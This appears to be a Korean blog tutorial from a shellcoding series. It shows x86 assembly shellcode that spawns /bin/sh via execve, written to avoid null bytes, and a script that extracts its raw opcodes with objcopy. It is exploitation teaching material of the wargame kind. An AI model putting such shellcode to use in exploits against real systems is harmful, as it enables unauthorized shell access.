쉘코딩 하는 여러 방법 소개 시리즈 (2)
어셈 코딩하고 opcode만 뽑내는 법
아래 예시는 execve("/bin/sh", ["/bin/sh", 0], 0)
일단 쉘코딩
// gcc -m32 -c -o shellcode.o shellcode.S
#include <sys/syscall.h>
#define STRING "/bin/sh"
#define STRLEN 7
#define ARGV0 (STRLEN+1)
#define ENVP (ARGV0+4)
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
pop esi /* esi points to STRING */
mov [ARGV0+esi],esi /* set up argv[0] pointer to pathname */
xor eax,eax /* get a 32-bit zero value */
mov [STRLEN + esi],al /* null-terminate our string */
mov [ENVP + esi], eax /* set up null envp */
mov al,SYS_execve /* syscall number */
mov ebx,esi /* arg 1: string pathname */
lea ecx,[ARGV0 + esi] /* arg 2: argv */
lea edx,[ENVP + esi] /* arg 3: envp */
int 0x80 /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */
xor ebx,ebx /* arg 1: 0 */
mov eax,ebx
inc eax /* exit(0) */
/* mov+inc to avoid null byte */
int 0x80 /* invoke syscall */
calladdr:
call popladdr
.string STRING
objcopy 사용해서 shellcode.bin으로 opcode 뽑기
#!/bin/bash
gcc -m32 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
rm -rf shellcode.o
'pwnable > Shellcoding' 카테고리의 다른 글
쉘코딩 (shellcoding) - (3) (0) | 2022.06.08 |
---|---|
쉘코딩 (shellcoding) - (1) (0) | 2022.03.25 |
쉘코드 만들기 (asm 코딩) (0) | 2018.12.23 |
쉘코드 만들기 (직접) (0) | 2018.12.23 |